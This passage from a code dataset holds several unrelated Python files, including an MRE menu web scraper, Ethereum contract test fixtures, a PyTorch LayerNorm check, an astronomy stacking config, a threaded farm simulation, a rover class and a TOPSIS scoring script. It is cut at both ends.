grid.fit(images, labels)\n# 18:11 - 18:12 / 13 - \n# 13:29 - \n# 15:47 - 15:59 - 3 images and 2 param\n\n# Summarize results\nprint(\"Best: %f using %s\" % (grid_result.best_score_, grid_result.best_params_))\nmeans = grid_result.cv_results_['mean_test_score']\nstds = grid_result.cv_results_['std_test_score']\nparams = grid_result.cv_results_['params']\nfor mean, stdev, param in zip(means, stds, params):\n print(\"%f (%f) with: %r\" % (mean, stdev, param))","sub_path":"scripts/BreastCancerClassification.py","file_name":"BreastCancerClassification.py","file_ext":"py","file_size_in_byte":17710,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"231441882","text":"from bs4 import BeautifulSoup\nfrom lxml import html\nimport os\nimport uuid\nimport requests\nimport re\n\n'''\nThis function pulls the list of MRE production years from mreinfo.com\nand then downloads the page for each production year. It returns an array\ncontaining the html from each MRE production year page.\n'''\ndef crawlYears(self):\n # Initialize the array so it works with append.\n productionYearSoup = []\n\n # Get the page listing al MRE prduction years.\n html = requests.get('http://www.mreinfo.com/us/mre/mre-menus.html')\n print('Downloaded production year list.')\n\n # Find all of the links in the table containing the production year list.\n soup = BeautifulSoup(html.text, 'lxml')\n urls = soup.find('table', \n attrs={'border':'1','width':'100%'}).find_all('a')\n\n # Iterate over the urls and download the page for each production year.\n for url in urls:\n html = requests.get(url['href']).text\n soup = BeautifulSoup(html, 'lxml')\n productionYearSoup.append(soup)\n print('Downloaded html for a production year.')\n\n return productionYearSoup\n\n'''\nThis function writes the iterable soupList to a file with a random name in\npath. This is used to store the data pulled from mreinfo.com to prevent\ndownloading the same pages over and over.\n'''\ndef write( path, soupList):\n\n # Create the directory if it doesn't exist.\n # Note that this will crash if the permissions are bad or if there is a \n # regular file with the same name as the specified directory.\n if not os.path.exists(path):\n os.makedirs(path)\n\n # Iterate over soupList\n for item in soupList:\n # Create a random filename with html extension\n filename = path + uuid4() + '.html'\n f = open(filename, 'w')\n f.write(item.prettify().encode('utf-8'))\n f.close()\n\n'''\nGet the title from the page for an MRE production year.\n'''\ndef getYearTitle(yearPage):\n return yearPage.find_all(\"h1\")[0].text\n\n'''\nGet the menu title.\nTODO: This returns a random menu item.\n'''\ndef getMenuTitle(menu):\n return getMenuItems(menu)[0]\n\n'''\nThis function loads html files from the specified path and returns an array.\nThe array conntains a beautiful soup object, not html text.\n'''\ndef load( path):\n # Initialize the array so it's ready for append()\n soupList = []\n\n # This will crash if path does not exist or user does not have permissions.\n fileList = os.listdir(path)\n\n for filename in fileList:\n\n # Ignore the file if it is a directory.\n if not os.path.isdir(os.path.join(path,filename)):\n # Open and read the file..\n f = open(path+filename, 'r')\n html = f.read()\n f.close()\n print('Read '+filename)\n\n # Convert it to soup\n soup = BeautifulSoup(html, 'lxml')\n soupList.append(soup)\n\n return soupList\n\n'''\nGet all of the menus from a production year page. The argument is a soup\nobject. This returns the html text (not soup) from the menu <td>.\n'''\ndef getMenus( productionYear):\n # Create the array so it's ready for append.\n menus = []\n yearTitle = getYearTitle(productionYear)\n\n # Find all the menus\n menuFilter = getMenuFilter(yearTitle)\n menuSoup = menuFilter(productionYear)\n for menu in menuSoup:\n menus.append(menu.text)\n\n return menus\n\n'''\nGet a function that returns the beautiful soup selector to get the menu for\nthe specified year.\n'''\ndef getMenuFilter(yearTitle):\n # Use a dict to map yearTitles to filter functions\n menuFilter = {\n u'MRE Menus I (1981) - MRE V (1985)': '',\n u'MRE Menus XIX (1999)': '',\n u'MRE Menus VI (1986)': '',\n u'MRE Menus VII (1987)': '',\n u'MRE Menus VIII (1988) - MRE IX (1989)': '',\n u'MRE Menus X (1990) - MRE XI (1991)': '',\n u'MRE Menus XII (1992)': '',\n u'MRE Menus XIII (1993) - XIV (1994)': '',\n u'MRE Menus XV (1995)': '',\n u'MRE Menus XVI (1996)': '',\n u'MRE Menus XVII (1997)': '',\n u'MRE Menus XVIII (1998)': '',\n u'MRE Menus XX (2000)': '',\n u'MRE Menus XXI (2001)': '',\n u'MRE Menus XXII (2002)': '',\n u'MRE Menus XXIII (2003)': '',\n u'MRE Menus XXIV (2004)': '',\n u'MRE Menus XXV (2005)': '',\n u'MRE Menus XXVI (2006)': '',\n u'MRE Menus XXVII (2007)': '',\n u'MRE Menus XXVIII (2008)': '',\n u'MRE Menus XXIX (2009)': menus2009to2014,\n u'MRE Menus XXX (2010)': menus2009to2014,\n u'MRE Menus XXXI (2011)': menus2009to2014,\n u'MRE Menus XXXII (2012)': menus2009to2014,\n u'MRE Menus XXXIII (2013)': menus2009to2014,\n u'MRE Menus XXXIV (2014)': menus2009to2014,\n }.get(yearTitle) # Get the dict entry for the specified year\n return menuFilter\n\n'''\nGet the menu entry for 2009-2014.\n'''\ndef menus2009to2014(year):\n soup = year.find_all('td', attrs={'valign':'top','width':'25%'})\n return soup\n\n'''\nPull the menu items out of the html from a menu. This works on html text,\nnot soup. The return value is an array of strings.\n'''\ndef getMenuItems(menu):\n\n # Remove the tabs and rejoin the menu items.\n notabs = ''.join(menu.split('\\t'))\n\n # Split into an array on the newlines.\n menuItems = notabs.split('\\n')\n\n # The first record is empty from the string operations.\n #del menuItems[0]\n\n return menuItems\n\ndef crawl(self):\n yearRE = re.compile('(\\d{4})')\n for year in self.getProductionYears():\n match = yearRE.search(year['title'])\n if match and int(match.group()) >= 2009:\n self.data[year['title']] = {}\n menus = self.getMenus(year['soup'])\n for menu in menus:\n items = self.getMenuItems(menu['soup'])\n self.data[year['title']][menu['title']] = items\n return self.data\n\n","sub_path":"mreinfo.py","file_name":"mreinfo.py","file_ext":"py","file_size_in_byte":5861,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"554629975","text":"import random\nfrom typing import Callable\n\nimport pytest\nfrom eth_utils import denoms, is_address\n\nfrom raiden_contracts.tests.utils.constants import MAX_UINT256\nfrom raiden_contracts.utils.signature import private_key_to_address\n\n\n@pytest.fixture\ndef get_random_privkey() -> Callable:\n \"\"\"Returns a random private key\"\"\"\n return lambda: \"0x%064x\" % random.randint(\n 1,\n MAX_UINT256,\n )\n\n\n@pytest.fixture\ndef get_random_address(get_random_privkey) -> Callable:\n \"\"\"Returns a random valid ethereum address\"\"\"\n def f():\n return private_key_to_address(get_random_privkey())\n return f\n\n\n@pytest.fixture(scope='session')\ndef faucet_private_key():\n \"\"\"Returns private key of a faucet used in tests\"\"\"\n return '0xaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'\n\n\n@pytest.fixture(scope='session')\ndef faucet_address(faucet_private_key):\n \"\"\"Returns address of a faucet used in tests\"\"\"\n return private_key_to_address(faucet_private_key)\n\n\n@pytest.fixture(scope='session')\ndef contract_deployer_address(faucet_address):\n \"\"\"Returns address of the contract deployer used in tests\"\"\"\n return faucet_address\n\n\n@pytest.fixture\ndef send_funds(\n ethereum_tester,\n custom_token,\n faucet_address,\n):\n \"\"\"Send some tokens and eth to specified address.\"\"\"\n def f(target: str):\n assert is_address(target)\n ethereum_tester.send_transaction({\n 'from': faucet_address,\n 'to': target,\n 'gas': 21000,\n 'value': 1 * denoms.ether,\n })\n custom_token.functions.transfer(\n target,\n 10000,\n ).transact({'from': faucet_address})\n return f\n","sub_path":"raiden_contracts/tests/fixtures/base/address.py","file_name":"address.py","file_ext":"py","file_size_in_byte":1701,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"316999202","text":"import os\nimport sys\n\nimport torch\n\nsys.path.append(\"./align/\")\nfrom align_utils import gen_tensor, BATCH_SIZE\n\nassert torch.cuda.is_available(), \"Expects at least one GPU\"\nDEVICE = torch.device(0)\nSEQ_LENGTH = 5\nOUT_DIR = os.path.join(\"align\", \"layernorm\", \"out\")\n\n\ndef run():\n HIDDEN_SIZE = 512\n EPS = 1e-6\n layernorm = torch.nn.LayerNorm(\n normalized_shape=HIDDEN_SIZE,\n eps=EPS,\n elementwise_affine=True,\n ).to(DEVICE)\n layernorm_weight = torch.load(os.path.join(OUT_DIR, \"ff_weight.pt\"))\n layernorm_bias = torch.load(os.path.join(OUT_DIR, \"ff_bias.pt\"))\n assert layernorm.weight.shape == layernorm_weight.shape, (\n \"Shape mismatch: \" f\"FF={layernorm_weight.shape} torch={layernorm.weight.shape}\"\n )\n assert layernorm.bias.shape == layernorm_bias.shape, (\n \"Shape mismatch: \" f\"FF={layernorm_bias.shape} torch={layernorm.bias.shape}\"\n )\n layernorm.weight = torch.nn.Parameter(layernorm_weight.to(DEVICE))\n layernorm.bias = torch.nn.Parameter(layernorm_bias.to(DEVICE))\n\n inp: torch.Tensor = gen_tensor(\n (BATCH_SIZE, SEQ_LENGTH, HIDDEN_SIZE),\n dtype=\"float32\",\n ).to(DEVICE)\n label: torch.Tensor = gen_tensor(\n (BATCH_SIZE, SEQ_LENGTH, HIDDEN_SIZE),\n dtype=\"float32\",\n ).to(DEVICE)\n\n output = layernorm(inp)\n layernorm.zero_grad()\n output.retain_grad()\n loss_fn = torch.nn.MSELoss(reduction=\"mean\")\n loss = loss_fn(output, label)\n loss.backward()\n torch.save(output.cpu(), os.path.join(OUT_DIR, \"torch_out.pt\"))\n torch.save(output.grad.cpu(), os.path.join(OUT_DIR, \"torch_out_grad.pt\"))\n torch.save(layernorm.weight.grad.cpu(), os.path.join(OUT_DIR, \"torch_weight_grad.pt\"))\n torch.save(layernorm.bias.grad.cpu(), os.path.join(OUT_DIR, \"torch_bias_grad.pt\"))\n\n\nif __name__ == \"__main__\":\n run()\n","sub_path":"align/layernorm/align_layernorm_torch.py","file_name":"align_layernorm_torch.py","file_ext":"py","file_size_in_byte":1843,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"108400318","text":"from django.urls import path\nfrom . import views\n\napp_name = 'blogs'\n\nurlpatterns = [\n path('', views.homepage, name='homepage'),\n path('categories/<category_slug>', views.category, name='category'),\n path('blogs/<blog_slug>', views.blog, name='blog'),\n path('search/', views.search, name='search'),\n\n]\n","sub_path":"blog/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":315,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"306167760","text":"import sys, os\nimport numpy as np\nfrom numpy import mean,median\nfrom progressbar import *\nfrom termcolor import colored\nfrom astropy import constants as apct\nfrom astropy import units as u\nfrom itertools import product as itlpd\n\nfrom astropy.io.fits import getdata as apgtdt\nfrom astropy.wcs import WCS as apwcs\nfrom astropy import cosmology as apcosmo\n\nfrom spectral_cube import SpectralCube as scspc\n\nfrom Fnc_Stk_Utl_2D import *\n\nimport platform\npy_ver = (platform.python_version_tuple())\npy_ver_ma = py_ver[0]\npy_ver_mc = py_ver[1]\npy_ver_mx = py_ver[2]\nprint\nprint (colored('Python version: ' + str(py_ver_ma) + '.' + str(py_ver_mc) +'.' + str(py_ver_mx),'yellow'))\nprint\n\n\nhome = os.path.expanduser(\"~\")+ '/Desktop/Example-VSAT-2D/'\nline = '13CO' \n\ndef fwhm2sigma(fwhm):\n\treturn fwhm/(2*np.sqrt(2*np.log(2)))\ndef sigma2fwhm(sigma):\n\treturn sigma*(2*np.sqrt(2*np.log(2)))\n\n#Catalogue\ncat_parent = 'CII_HATLAS'\nCAT_PARENT = cat_parent.upper()\n\n#Image Directories\ncats_dir = home + '/Catalogues/'\ncat_dir = cats_dir + CAT_PARENT + '/'\ndts_dir = home + line +'DataSets/' #DataSet_directory\next_dir = home + line +'Extracted-Im/' #Extracted_directory\nfts_dir = ext_dir + 'FITS/' #Fits_directory\nimg_dir = ext_dir + 'IMAGES/' #Images_directory\n\n#Frequecies\nsubcube_width = 1000 \t\t #kms-1\nchannel_width = [20] \t\t #kms-1\n\n#Input Table\nsbsmn = [0]\nsbsms = ['CNT_B'] \ncat_ipt_tbl = cat_dir + 'CII_Sources_HATLAS-' + line + '-' + str(sbsms) + '-' +str(sbsmn) \nunq_tbl_ipt = 'yes'\nhead_un_ipt = 'ident'\n\n#Stacking\nstack_light \t\t = \t True \t\t\t\t\t\t\t \t\t #True: SUM MED AVG False: Histograms and pct (1,2,3-sigma)stacks\n\n#Sigma-Clip\nsigma_clipping = True # Sigma clipping\nsigma_cut = 0 # sigma cut\nsigma_cen_fct = mean # median, mean\nsigma_msk_fill_val = np.nan # np.nan, value\n\n#Fitting\nfunc \t\t=\t ['avg','med'] \t\t\t\t \t\t\t#sum med avg\napertures_measu \t\t=\t [15] \t\t\t\t\t\t\t \t\t\t#radii in as measure circle\napertures_inner \t\t=\t [10] \t\t\t\t\t\t\t \t\t\t#radii in as inner circle\napertures_outer \t\t=\t [20] \t\t\t\t\t\t\t \t\t\t#radii in as outer circle\nprefix_line \t\t=\t line + '-'\nspc_wdl_ref \t\t=\t False \t\t\t \t\t\t#Use 12CO/other fit width line for Flux computations cube2bplot6_ref\nfixed_size \t\t=\t True \t\t\t \t\t\t#Fix Source Size\ntms_sgm \t\t=\t 1 \t\t\t \t\t\t#SOURCE SIZE BASED ON THE SYN BEAM IN SIGMA TERMS\n\n#MCMC\niterations_mc \t\t = 10000 \t\t\t\t\t\t\t\t\t#50000 #mcmc_itr_nmb\nplot_dist_hist \t\t = True \t\t\t\t\t\t\t\t\t\t#Plot MCMC histograms\nline1 \t\t\t = '12CO'\nline2 \t\t\t = '13CO'\n\n#tables\ntbl_format_ipt = 'csv' #ascii,csv,fits,ascii.fixed_width_two_line\ntbl_format_opt = 'csv' #ascii,csv,fits,ascii.fixed_width_two_line\n\n#Results\nstk_hme_dir = home + 'Stack_Results-'+ line +'-2D/'\nimg_dir_res = stk_hme_dir + 'IMAGES/' \nifc_dir_img = img_dir_res + 'COLLAPSED/' \nstp_dir_res = stk_hme_dir + 'STAMPS/' \ntbl_dir_res = stk_hme_dir + 'TABLES/'\nplt_dir_tbl = tbl_dir_res + 'PLOTS/' \nplt_dir_res = stk_hme_dir + 'PLOTS/'\nstm_dir_plt = plt_dir_res + 'STAMPS/' \nana_dir_plt = plt_dir_res + 'ANALYSIS/'\nmcm_dir_plt = plt_dir_res + 'MCMC/'\nres_dir_plt = plt_dir_res + 'RESULTS/' \nstk_dir_res = stk_hme_dir + 'STACKS/'\n\n#Output Tables\nind_tbl = 'yes'\ngrl_tbl = 'yes'\n\ngrl_tbl_nmB = 'Prs_Bkg_'+ CAT_PARENT \ngrl_tbl_nmF = 'Prs_Frg_'+ CAT_PARENT \n\nunq_tbl_opt = 'yes'\nhed_un_opt_F = 'id_F' #header of column for uniqueness\nhed_un_opt_B = 'id_B' #header of column for uniqueness\ngrl_tbl_nmB_U = 'Prs_Bkg_'+ CAT_PARENT +'_U'\ngrl_tbl_nmF_U = 'Prs_Frg_'+ CAT_PARENT +'_U'\n\nverbose = False\n\nif line == '13CO':\n\trestframe_frequency = 110.20137E9 \nelif line == '12CO':\n\trestframe_frequency = 115.271208E9\nelif line == '18CO':\n\trestframe_frequency = 109.78217340E9\n#############################################################################################################################\nDIR_CAT_IPT = [cats_dir]\nDIR_SPC_IPT = [img_dir]\nDIR_RES = [\n\t\t\t\tstk_hme_dir,img_dir_res,stp_dir_res,tbl_dir_res,\n\t\t\t\tplt_dir_res,stk_dir_res,plt_dir_tbl,\n\t\t\t\tana_dir_plt,mcm_dir_plt,res_dir_plt,\n\t\t\t\timg_dir_res,ifc_dir_img,stp_dir_res,\n\t\t\t\ttbl_dir_res,plt_dir_tbl,plt_dir_res,\n\t\t\t\tstm_dir_plt,ana_dir_plt,mcm_dir_plt,res_dir_plt]\n\nif tbl_format_ipt == 'ascii' or tbl_format_ipt == 'ascii.fixed_width_two_line':\n\ttbl_ext_ipt = '.dat'\nelif tbl_format_ipt == 'csv':\t\n\ttbl_ext_ipt = '.csv'\nelif tbl_format_ipt == 'fits':\t\n\ttbl_ext_ipt = '.fits'\n\nif tbl_format_opt == 'ascii' or tbl_format_opt == 'ascii.fixed_width_two_line':\n\ttbl_ext_opt = '.dat'\nelif tbl_format_opt == 'csv':\t\n\ttbl_ext_opt = '.csv'\nelif tbl_format_opt == 'fits':\t\n\ttbl_ext_opt = '.fits'\n\ncat_tbl = cat_ipt_tbl + tbl_ext_ipt\ncat_tbl_U = cat_ipt_tbl + tbl_ext_opt\n\ncosmo_H0 = 70\ncosmo_omegaM = 0.3\ncosmo = apcosmo.FlatLambdaCDM(cosmo_H0,cosmo_omegaM)\n#############################################################################################################################\t\ndef Check_directories(cat_tbl_chk,cat_chk,*args, **kwargs):\n\tDIR_RES = kwargs.get('DIR_RES',[\n\t\t\t\tstk_hme_dir,img_dir_res,stp_dir_res,tbl_dir_res,\n\t\t\t\tplt_dir_res,stk_dir_res,plt_dir_tbl,\n\t\t\t\tana_dir_plt,mcm_dir_plt,res_dir_plt,\n\t\t\t\timg_dir_res,ifc_dir_img,stp_dir_res,\n\t\t\t\ttbl_dir_res,plt_dir_tbl,plt_dir_res,\n\t\t\t\tstm_dir_plt,ana_dir_plt,mcm_dir_plt,res_dir_plt])\n\tprint\n\tprint ('Checking input directories of the catalogue : ',cat_chk)\n\tif os.path.exists(str(cat_tbl_chk)+str(tbl_ext_ipt))==True :\n\t\tprint\n\t\tprint ('Catalogue table exists : ', str(cat_tbl_chk)+str(tbl_ext_ipt))\n\t\tprint ('Spectra directories exists : ', str(DIR_SPC_IPT[0]))\n\t\tprint\n\t\tprint ('Checking Result Directories.')\n\t\tprint\n\n\t\tfor tree in DIR_RES:\n\t\t\tif os.path.isdir(tree)==True:\n\t\t\t\tpass\n\t\t\t\tprint ('Directory exists: ', tree)\n\t\t\telif os.path.isdir(tree)==False:\n\t\t\t\tprint ('Directory does not exist, creating it: ', tree)\n\t\t\t\tos.makedirs(tree)\n\telif os.path.exists(str(cat_tbl_chk)+str(tbl_ext_ipt))==False :\n\t\tprint\n\t\tprint ('Some of the directories does not exist.')\n\t\tprint ('Check input directories. ')\n\t\tprint (str(cat_tbl_chk)+str(tbl_ext_ipt))\n\t\tprint( DIR_SPC_IPT[0])\n#############################################################################################################################\n'''\nfor element in channel_width:\n\t#Results\n\tstk_hme_dir = home + 'Stack_Results-'+ line +'-3D/'\n\t#img_dir_res = stk_hme_dir + 'IMAGES/' + str(element[0])\n\tstp_dir_res = stk_hme_dir + 'STAMPS/' + str(element) +'/'\n\ttbl_dir_res = stk_hme_dir + 'TABLES/' + str(element) +'/'\n\tplt_dir_res = stk_hme_dir + 'PLOTS/' + str(element) +'/'\n\tstm_dir_plt = plt_dir_res + 'STAMPS/' \n\tana_dir_plt = plt_dir_res + 'ANALYSIS/'\n\tmcm_dir_plt = plt_dir_res + 'MCMC/' \n\tres_dir_plt = plt_dir_res + 'RESULTS/' \n\tstk_dir_res = stk_hme_dir + 'STACKS/' + str(element) +'/'\n\n\tstk_hme_dir_ref = home + 'Stack_Results-'+ '12CO' +'-3D/'\n\tstp_dir_res_ref = stk_hme_dir_ref + 'STAMPS/' + str(element) +'/'\n\n\tDIR_CAT_IPT = [cats_dir]\n\tDIR_SPC_IPT = [img_dir]\n\tDIR_RES = [\n\t\t\t\t\tstk_hme_dir,stp_dir_res,tbl_dir_res,\n\t\t\t\t\tplt_dir_res,ana_dir_plt,mcm_dir_plt,res_dir_plt,stm_dir_plt,\n\t\t\t\t\tstk_dir_res\n\t\t\t\t]\n\n\nCheck_directories(cat_ipt_tbl,cat_parent,DIR_RES=DIR_RES)\n'''\n\n","sub_path":"Fnc_Stk_Dir_2D.py","file_name":"Fnc_Stk_Dir_2D.py","file_ext":"py","file_size_in_byte":8266,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"154015222","text":"\"\"\"代码批注:\n 1、代码缺少注释,写代码应注重可读性,在代码越来越复杂的情况下注释就显得很必要,可以提高代码的交接效率与可复用性。\n 2、代码逻辑及层次不够清晰,不同类之间不要互相牵扯,类中的函数就执行跟他本身有关的操作,如天气每天随机变化,小草下雨生长次数就加1,小牛吃草就生长次数加1,逻辑可以放到主函数里(如判断生长次数是否到3,是否该唤醒小牛吃草)将主要逻辑按故事顺序在主函数里排下来使得代码更加简介明了有层次感,如项目需求又有改动,很快就能定位到需要改动的部分,不至于这里改一点那里改一点。\n 3、总体项目完成度很不错,基本把功能都实现了,使用到了面向对象以及函数式编程,使用了继承,很不错,可以活学活用,再接再厉,老师相信经过你的第二次整理代码会更加合理简洁!\n\"\"\"\n\nimport threading\nimport time\nimport random\n\n\nclass Weather:\n def __init__(self):\n self.rain = self.__get_weather()\n\n # 获取天气,20%的概率下雨\n def __get_weather(self):\n return random.randint(1, 10) <= 2\n\n\nclass Grass(threading.Thread):\n def __init__(self, cond):\n super().__init__(name='小草')\n self.__growth = 0 # 当growth达到3的时候表示成熟\n self.cond = cond\n\n # 小草成长\n def grow(self):\n self.__growth += 1\n\n # 检验小草是否成熟\n def mature(self):\n return self.__growth >= 3\n\n # 获取小草的成长值\n def get_growth(self):\n return self.__growth\n\n # 清空小草的成长值\n def eaten(self):\n self.__growth = 0\n\n def run(self):\n global cows_list\n\n while (True):\n # 当所有牛都成熟了,就结束循环\n if min(cows_list) >= 5:\n break\n\n # 小草线程结束,唤醒小牛线程,并释放锁\n self.cond.acquire()\n self.cond.notify()\n self.cond.release()\n\n\nclass Cow(threading.Thread):\n def __init__(self, cond):\n super().__init__(name='牛')\n self.cond = cond\n\n def run(self):\n global cows_list\n global i\n\n # 线程挂起,等待被唤醒\n self.cond.acquire()\n self.cond.wait()\n\n while (True):\n # 当所有牛都成熟了,就结束循环\n if min(cows_list) >= 5:\n break\n\n # 随机选取一头牛\n i = random.randint(0, len(cows_list) - 1)\n # 如果该牛已经成熟,则换一只牛\n while (cows_list[i] >= 5):\n i = random.randint(0, len(cows_list) - 1)\n # 小牛成长值加1\n cows_list[i] += 1\n\n # 挂起小牛线程,唤醒小草进程\n self.cond.notify()\n self.cond.wait()\n\n # 释放锁\n self.cond.release()\n\n\ndef main():\n path = 'recording.txt'\n # 创建牛列表\n global cows_list\n # 用于记录哪只牛吃了草\n global i\n\n cows_list = [0] * 10 # 达到5的时候表示成熟\n\n cond = threading.Condition()\n grass = Grass(cond)\n cow = Cow(cond)\n\n cow.start()\n grass.start()\n\n with open(path, 'a') as f:\n\n # 直到每头牛都成熟了,就退出循环\n while(min(cows_list) < 5):\n time.sleep(1)\n print('--' * 15)\n print('新的一天开始了。')\n f.write('--------------------------------------------\\n')\n f.write('新的一天开始了。\\n')\n f.flush()\n\n # 获取天气\n weather = Weather()\n\n # 如果今天下雨了,小草就长大一点\n if weather.rain:\n grass.grow()\n print('今天下雨了,小草长大了一点。成长值变为了 %d 。' % grass.get_growth())\n f.write('今天下雨了,小草长大了一点。成长值变为了 %d 。\\n' % grass.get_growth())\n f.flush()\n else:\n print('今天是晴天。')\n f.write('今天是晴天。\\n')\n f.flush()\n\n # 判断小草是否成熟了\n if grass.mature():\n # 获取锁\n grass.cond.acquire()\n cow.cond.acquire()\n\n print('小草已经成熟了。小牛可以吃草了。')\n f.write('小草已经成熟了。小牛可以吃草了。\\n')\n\n # 小草线程挂起,唤醒小牛进程\n grass.cond.notify()\n grass.cond.wait()\n\n # 释放锁\n grass.cond.release()\n cow.cond.release()\n\n print('小牛 %d 号吃了草,成长值变为了 %d 。' % (i + 1, cows_list[i]))\n print('草被牛吃光了.')\n f.write('小牛 %d 号吃了草,成长值变为了 %d 。\\n' % (i + 1, cows_list[i]))\n f.write('草被牛吃光了.\\n')\n grass.eaten()\n\n f.flush()\n\n print('小牛们都变成老牛了。')\n f.write('小牛们都变成老牛了。\\n')\n f.flush()\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"farm-v2.py","file_name":"farm-v2.py","file_ext":"py","file_size_in_byte":5302,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"460750103","text":"#Rover.py\nfrom .gameboard import Gameboard\n\nclass Rover():\n all_moves = [\"L\",\"R\",\"M\"]\n all_directions = [\"N\",\"E\",\"S\",\"W\"] #in clockwise order\n total_directions = len(all_directions); #if you extend directions, change this for wrap check in code\n\n def __init__(self, *args, board=None):\n #make sure there's a valid board\n if board is None or not isinstance(board, Gameboard):\n raise TypeError(\"Board doesn't exist or is of the wrong type\")\n self.gameboard = board\n\n #default rover position\n if len(args) == 0:\n self.x = 0\n self.y = 0\n self.facing = 'N'\n\n #must be in format (X,Y,D)\n elif len(args) == 3:\n self.x = args[0]\n self.y = args[1]\n self.facing = args[2]\n\n #make sure the position is in bounds\n if self.x >= board.w or self.y >= board.h:\n raise ValueError(\"Starting position of rover out of bounds of board\")\n\n else:\n print(\"incorrect number of arguments\")\n return\n\n @property\n def x(self):\n return self.__x\n @x.setter\n def x(self, val):\n self.__x = int(val)\n\n @property\n def y(self):\n return self.__y\n @y.setter\n def y(self, val):\n self.__y = int(val)\n\n @property\n def facing(self):\n return self.__d\n @facing.setter\n def facing(self, val):\n if len(val) == 1 and val in self.all_directions:\n self.__d = str(val)\n else:\n raise ValueError(\"invalid facing\")\n\n def report(self):\n return \"\".join((str(self.x), \" \", str(self.y), \" \", self.facing))\n\n def move(self, moves):\n if not isinstance(moves, str):\n raise TypeError('move list is not a string')\n else:\n moves = moves.upper()\n for move in moves:\n if move not in self.all_moves:\n raise ValueError(\"invalid move\")\n if move == 'L':\n #the addition and the modding make sure we never hit a negative index\n newIndex = (self.total_directions + self.all_directions.index(self.facing) -1) % self.total_directions\n self.facing = self.all_directions[newIndex]\n elif move == 'R':\n newIndex = (self.all_directions.index(self.facing) + 1) % self.total_directions\n self.facing = self.all_directions[newIndex]\n elif move == 'M':\n self.__moveForward()\n\n def __moveForward(self):\n if self.facing == 'N' and not self.y == self.gameboard.h:\n self.y = self.y + 1\n if self.facing == 'S' and not self.y == 0:\n self.y = self.y - 1\n if self.facing == 'E' and not self.x == self.gameboard.w:\n self.x = self.x + 1\n if self.facing == 'W' and not self.x == 0:\n self.x = self.x - 1\n\n\n\n\n\n\n\n\n","sub_path":"classes/rover.py","file_name":"rover.py","file_ext":"py","file_size_in_byte":2607,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"512285295","text":"import numpy as np\nimport xlrd\nimport pandas as pd\nimport xlwt\n\n\ndef read(file):\n wb = xlrd.open_workbook(filename=file) # 打开文件\n sheet = wb.sheet_by_index(0) # 通过索引获取表格\n rows = sheet.nrows # 获取行数\n all_content = [] # 存放读取的数据\n for j in range(0, 4): # 取第0~第3列对的数据\n temp = []\n for i in range(0, rows):\n cell = sheet.cell_value(i, j) # 获取数据\n temp.append(cell)\n all_content.append(temp) # 按列添加到结果集中\n temp = []\n return np.array(all_content)\n\n\n# -------------------------------from now on are TOPSIS functions-------------------------------------------------------\n# 极小型指标 -> 极大型指标\ndef dataDirection_1(datas):\n return np.max(datas) - datas # 套公式\n\n\ndef Standard(datas):\n K = np.power(np.sum(pow(datas, 2), axis=0), 0.5)\n for i in range(len(K)):\n datas[:, i] = datas[:, i] / K[i]\n return datas\n\n\ndef Score(answer2):\n list_max = np.array(\n [np.max(answer2[0, :]), np.max(answer2[1, :]), np.max(answer2[2, :]), np.max(answer2[3, :])]) # 获取每一列的最大值\n list_min = np.array(\n [np.min(answer2[0, :]), np.min(answer2[1, :]), np.min(answer2[2, :]), np.min(answer2[3, :])]) # 获取每一列的最小值\n max_list = [] # 存放第i个评价对象与最大值的距离\n min_list = [] # 存放第i个评价对象与最小值的距离\n answer_list = [] # 存放评价对象的未归一化得分\n for k in range(0, np.size(answer2, axis=1)): # 遍历每一列数据\n max_sum = 0\n min_sum = 0\n for q in range(0, 4): # 有4个指标\n max_sum += np.power(answer2[q, k] - list_max[q], 2) # 按每一列计算Di+\n min_sum += np.power(answer2[q, k] - list_min[q], 2) # 按每一列计算Di-\n max_list.append(pow(max_sum, 0.5))\n min_list.append(pow(min_sum, 0.5))\n answer_list.append(min_list[k] / (min_list[k] + max_list[k])) # 套用计算得分的公式 Si = (Di-) / ((Di+) +(Di-))\n max_sum = 0\n min_sum = 0\n answer = np.array(answer_list) # 得分归一化\n return (answer / np.sum(answer))\n\n # ----------------------------------------------end----------------------------------------------------------------------\n\n\nfile = 'Metal_stress_data.xlsx'\nanswer1 = read(file) # 读取文件\nanswer2 = []\nfor i in range(0, 4): # 按照不同的列,根据不同的指标转换为极大型指标,因为只有四列\n answer = None\n if (i == 0): # 本来就是极大型指标,不用转换\n answer = answer1[0]\n elif (i == 1):\n answer = answer1[1]\n elif (i == 2):\n answer = answer1[2]\n else:\n answer = answer1[3]\n answer2.append(answer)\nanswer2 = np.array(answer2) # 将list转换为numpy数组\nsta_data = Standard(answer2) # 数组正向化\nsco = Score(sta_data) # 标准化处理去钢\nprint(sco)\ndata = pd.DataFrame(sco) # 计算得分\nwriter = pd.ExcelWriter('Metal_stress_Analyze.xlsx') # 写入Excel文件\ndata.to_excel(writer, 'Metal_stress', float_format='%.5f') # ‘page_1’是写入excel的sheet名\nwriter.save()\nwriter.close()","sub_path":"Q3/Metal_stress_analyze.py","file_name":"Metal_stress_analyze.py","file_ext":"py","file_size_in_byte":3216,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"498093620","text":"\"\"\"\nbyceps.blueprints.site.seating.views\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n:Copyright: 2006-2021 Jochen Kupperschmidt\n:License: Revised BSD (see `LICENSE` file for details)\n\"\"\"\n\nfrom flask import abort, g, request\nfrom flask_babel import gettext\n\nfrom ....services.party import service as party_service\nfrom ....services.seating import area_service as seating_area_service\nfrom 